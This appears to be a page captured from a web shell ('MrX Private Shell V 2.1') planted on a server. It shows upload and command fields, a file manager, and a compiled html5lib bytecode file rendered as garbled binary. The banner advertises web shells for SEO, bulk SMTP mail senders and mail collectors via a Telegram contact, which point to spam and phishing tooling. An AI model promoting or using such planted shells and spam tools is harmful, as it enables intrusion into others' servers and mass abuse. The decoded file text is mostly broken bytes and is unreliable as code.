__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�|�f����SSKJr SSKJrJrJr /SQr\Rr\Rr
\Rr\Rr\Rr\R"rSrSR)\5r"SS5r"S	S
\5rg)�)�Node�)�
namespaces�voidElements�spaceCharacters)	�DOCUMENT�DOCTYPE�TEXT�ELEMENT�COMMENT�ENTITY�UNKNOWN�
TreeWalker�NonRecursiveTreeWalkerz<#UNKNOWN#>�c�b�\rSrSrSrSrSrSrSSjrSr	Sr
S	rS
rSSjr
S
rSrSrg)r�zqWalks a tree yielding tokens

Tokens are dicts that all have a ``type`` field specifying the type of the
token.

c��Xlg)z3Creates a TreeWalker

:arg tree: the tree to walk

N��tree)�selfrs  �;/usr/lib/python3/dist-packages/html5lib/treewalkers/base.py�__init__�TreeWalker.__init__s	���	�c��[e�N��NotImplementedError)rs r�__iter__�TreeWalker.__iter__"���!�!rc��SUS.$)znGenerates an error token with the given message

:arg msg: the error message

:returns: SerializeError token

�SerializeError��type�data�)r�msgs  r�error�TreeWalker.error%s��)�#�6�6rc#�T# �SUUUS.v� U(aURS5v� gg7f)a:Generates an EmptyTag token

:arg namespace: the namespace of the token--can be ``None``

:arg name: the name of the element

:arg attrs: the attributes of the element as a dict

:arg hasChildren: whether or not to yield a SerializationError because
    this tag shouldn't have children

:returns: EmptyTag token

�EmptyTag�r&�name�	namespacer'zVoid element has childrenN�r*)rr0r/�attrs�hasChildrens     r�emptyTag�TreeWalker.emptyTag/s6���"�4�%���	���*�*�8�9�9��s�&(c��SUUUS.$)z�Generates a StartTag token

:arg namespace: the namespace of the token--can be ``None``

:arg name: the name of the element

:arg attrs: the attributes of the element as a dict

:returns: StartTag token

�StartTagr.r()rr0r/r2s    r�startTag�TreeWalker.startTagDs��#��&���	rc��SUUS.$)z�Generates an EndTag token

:arg namespace: the namespace of the token--can be ``None``

:arg name: the name of the element

:returns: EndTag token

�EndTag)r&r/r0r()rr0r/s   r�endTag�TreeWalker.endTagUs��!��&�(�	(rc#�# �UnUR[5nUS[U5[U5-
nU(aSUS.v� UnUR[5nU[U5SnU(aSUS.v� U(aSUS.v� gg7f)a�Generates SpaceCharacters and Characters tokens

Depending on what's in the data, this generates one or more
``SpaceCharacters`` and ``Characters`` tokens.

For example:

    >>> from html5lib.treewalkers.base import TreeWalker
    >>> # Give it an empty tree just so it instantiates
    >>> walker = TreeWalker([])
    >>> list(walker.text(''))
    []
    >>> list(walker.text('  '))
    [{u'data': '  ', u'type': u'SpaceCharacters'}]
    >>> list(walker.text(' abc '))  # doctest: +NORMALIZE_WHITESPACE
    [{u'data': ' ', u'type': u'SpaceCharacters'},
    {u'data': u'abc', u'type': u'Characters'},
    {u'data': u' ', u'type': u'SpaceCharacters'}]

:arg data: the text data

:returns: one or more ``SpaceCharacters`` and ``Characters`` tokens

N�SpaceCharactersr%�
Characters)�lstripr�len�rstrip)rr'�middle�left�rights     r�text�TreeWalker.textcs����2�����_�-���,�S��Y��V��,�-���,�d�;�;������_�-���S��[�\�"���'��8�8��,�e�<�<��s�BBc��SUS.$)zLGenerates a Comment token

:arg data: the comment

:returns: Comment token

�Commentr%r()rr's  r�comment�TreeWalker.comment�s��"�4�0�0rNc��SUUUS.$)zdGenerates a Doctype token

:arg name:

:arg publicId:

:arg systemId:

:returns: the Doctype token

�Doctype)r&r/�publicId�systemIdr()rr/rOrPs    r�doctype�TreeWalker.doctype�s��"��$�$�&�	&rc��SUS.$)zRGenerates an Entity token

:arg name: the entity name

:returns: an Entity token

�Entity)r&r/r()rr/s  r�entity�TreeWalker.entity�s��!�$�/�/rc�*�URSU-5$)zHandles unknown node typeszUnknown node type: r1)r�nodeTypes  r�unknown�TreeWalker.unknown�s���z�z�/�(�:�;�;rr)F)NN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr r*r4r8r<rGrKrQrUrY�__static_attributes__r(rrrrs?����"�7�:�*�"(�$=�L1�&�"0�<rrc�2�\rSrSrSrSrSrSrSrSr	g)	r�c��[err�r�nodes  r�getNodeDetails�%NonRecursiveTreeWalker.getNodeDetails�r"rc��[errrds  r�
getFirstChild�$NonRecursiveTreeWalker.getFirstChild�r"rc��[errrds  r�getNextSibling�%NonRecursiveTreeWalker.getNextSibling�r"rc��[errrds  r�
getParentNode�$NonRecursiveTreeWalker.getParentNode�r"rc#�# �URnUGb�URU5nUSUSSp#SnU[:XaUR"U6v� O�U[:XaUR
"U6HnUv� M	 O�U[:XaYUupgp�U(a
U[S:Xa+U[;a!URXgUU5HnUv� M	 SnOzURXgU5v� OeU[:XaURUS5v� ODU[:XaURUS5v� O#U[:XaSnOUR!US5v� U(aUR#U5n	OSn	U	bU	nO�Ub�URU5nUSUSSp#U[:Xa6Uupgp�U(a
U[S:wd
U[;aUR%Xg5v� URULaSnO-UR'U5n
U
bU
nOUR)U5nUbM�UbGM�gg7f)Nr�F�htmlT)rrfr	rQr
rGrrrr4r8rrKr
rUrrYrir<rlro)r�currentNode�detailsr&r3�tokenr0r/�
attributes�
firstChild�nextSiblings           rr �NonRecursiveTreeWalker.__iter__�s�����i�i���%��)�)�+�6�G�#�A�J�����'��K��w���l�l�G�,�,����!�Y�Y��0�E��K�1����;B�8�	��!�Y�*�V�2D�%D�$�R^�J^�!%���y�
�/:�"<��#��"<�#(�K��-�-�	��D�D�����l�l�7�1�:�.�.�����k�k�'�!�*�-�-���!�"���l�l�7�1�:�.�.��!�/�/��<�
�!�
��%�(��!�-�"�1�1�+�>�G�$+�A�J�����'��w��CJ�@�	��%�)�z�&�7I�*I�d�Zf�Nf�"&�+�+�i�">�>��y�y�K�/�&*���"&�"5�"5�k�"B�K�"�.�&1���&*�&8�&8��&E��"�-�U�%�s�G1G=�5G=�;G=r(N)
r[r\r]r^rfrirlror r`r(rrrr�s��"�"�"�"�;FrrN)�xml.domr�	constantsrrr�__all__�
DOCUMENT_NODEr�DOCUMENT_TYPE_NODEr	�	TEXT_NODEr
�ELEMENT_NODEr�COMMENT_NODEr�ENTITY_NODEr
r�joinrrr(rr�<module>r�s����A�A�3������
�
!�
!���~�~��
�
�
��
�
�
��	
�	�	��
���'�'�/�*��]<�]<�@HF�Z�HFr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 5.47 KB 0644
base.cpython-313.pyc File 8.1 KB 0644
dom.cpython-313.pyc File 2.86 KB 0644
etree.cpython-313.pyc File 5.32 KB 0644
etree_lxml.cpython-313.pyc File 10.61 KB 0644
genshi.cpython-313.pyc File 2.9 KB 0644
Filemanager